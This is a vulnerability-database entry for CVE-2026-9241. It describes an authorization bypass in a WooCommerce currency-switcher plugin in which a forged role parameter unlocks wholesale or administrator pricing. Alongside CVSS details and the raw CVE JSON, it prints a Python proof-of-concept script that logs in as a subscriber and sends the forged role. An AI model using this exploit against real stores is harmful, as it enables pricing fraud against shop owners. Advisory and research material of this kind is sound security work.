Security Vulnerability Report
中文
CVE-2026-9241 CVSS 4.3 MEDIUM

CVE-2026-9241

Published: 2026-05-28 05:16:40
Last Modified: 2026-05-28 13:45:25

Description

The FOX – Currency Switcher Professional for WooCommerce plugin for WordPress is vulnerable to Authorization Bypass Through User-Controlled Key in all versions up to and including 1.4.6. This is due to the `get_value()` function in `classes/fixed/fixed_user_role.php` trusting the attacker-controlled `$_REQUEST['wooc_order_user_roles']` parameter to determine the user's role context for role-based price resolution without any validation, allowing it to override the legitimate role data derived from the authenticated user's session object via `$user->roles`. This makes it possible for authenticated attackers, with Subscriber-level access and above, to impersonate higher-privileged roles — such as wholesale customer or administrator — and obtain discounted or otherwise restricted pricing that should not be available to their actual role. This vulnerability only has practical impact when the fixed user-role pricing feature is enabled and at least one product has a privileged-role price configured.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

FOX - Currency Switcher Professional for WooCommerce <= 1.4.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2026-9241 PoC - Authorization Bypass in WooCommerce Currency Switcher # Target: WordPress site with FOX - Currency Switcher Professional for WooCommerce < 1.4.7 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def exploit_cve_2026_9241(): """ This PoC demonstrates the authorization bypass vulnerability in the WooCommerce Currency Switcher plugin. Attack flow: 1. Authenticate as a low-privilege user (subscriber) 2. Craft a request with manipulated 'wooc_order_user_roles' parameter 3. Access restricted pricing intended for higher-privilege roles """ session = requests.Session() # Step 1: Login as subscriber-level user login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Logged in as subscriber") # Step 2: Exploit the authorization bypass # Inject privileged role via wooc_order_user_roles parameter exploit_url = f"{TARGET_URL}/" exploit_data = { 'woocs': '1', 'wooc_order_user_roles': 'wholesale_customer', # or 'administrator' 'add-to-cart': 'PRODUCT_ID_WITH_PRIVILEGED_PRICING' } response = session.get(exploit_url, params=exploit_data) # Step 3: Verify if privileged pricing was accessed # Check response for wholesale/admin pricing indicators if 'wholesale' in response.text.lower() or check_discount_applied(response): print("[+] Exploit successful - privileged pricing accessed") return True print("[-] Exploit may have failed - check manually") return False def check_discount_applied(response): """Check if the privileged discount was applied to the response""" # Implementation depends on the site's pricing display mechanism return False if __name__ == "__main__": exploit_cve_2026_9241()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9241", "sourceIdentifier": "[email protected]", "published": "2026-05-28T05:16:39.600", "lastModified": "2026-05-28T13:45:25.260", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The FOX – Currency Switcher Professional for WooCommerce plugin for WordPress is vulnerable to Authorization Bypass Through User-Controlled Key in all versions up to and including 1.4.6. This is due to the `get_value()` function in `classes/fixed/fixed_user_role.php` trusting the attacker-controlled `$_REQUEST['wooc_order_user_roles']` parameter to determine the user's role context for role-based price resolution without any validation, allowing it to override the legitimate role data derived from the authenticated user's session object via `$user->roles`. This makes it possible for authenticated attackers, with Subscriber-level access and above, to impersonate higher-privileged roles — such as wholesale customer or administrator — and obtain discounted or otherwise restricted pricing that should not be available to their actual role. This vulnerability only has practical impact when the fixed user-role pricing feature is enabled and at least one product has a privileged-role price configured."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/woocommerce-currency-switcher/trunk/classes/fixed/fixed_user_role.php#L228", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woocommerce-currency-switcher/trunk/classes/fixed/fixed_user_role.php#L229", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woocommerce-currency-switcher/trunk/classes/woocs.php#L2271", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3543524%40woocommerce-currency-switcher&new=3543524%40woocommerce-currency-switcher&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1c8c1fec-0e87-46f7-83c5-8f9e9aa97b4f?source=cve", "source": "[email protected]"}]}}